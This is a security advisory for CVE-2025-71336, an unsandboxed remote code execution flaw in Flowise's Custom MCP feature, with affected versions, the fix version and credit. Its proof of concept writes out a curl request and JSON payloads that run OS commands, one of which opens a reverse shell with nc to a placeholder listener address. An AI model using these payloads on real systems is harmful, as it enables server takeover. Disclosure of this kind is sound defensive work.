flowise
Affected
- introduced
2.2.7-patch.1, fixed3.0.6(semver)
Fixed versions
3.0.6
Fix
- Fixed version
3.0.6npm install [email protected]
Advisory
Also known as: CVE-2025-71336
Flowise has unsandboxed remote code execution via Custom MCP
Summary
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.
This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.
PoC
npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-dockerpayload.json somewhere in your machine, with the following data:{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
curl request using the payload.json file created above with the following command:curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
yofitofi is created under /tmp folder.Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
Impact
Remote code execution
Mitigation
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
Critical Basis: The source's own band: CRITICAL
2.2.7-patch.1, fixed 3.0.6 (semver)3.0.6
3.0.6npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0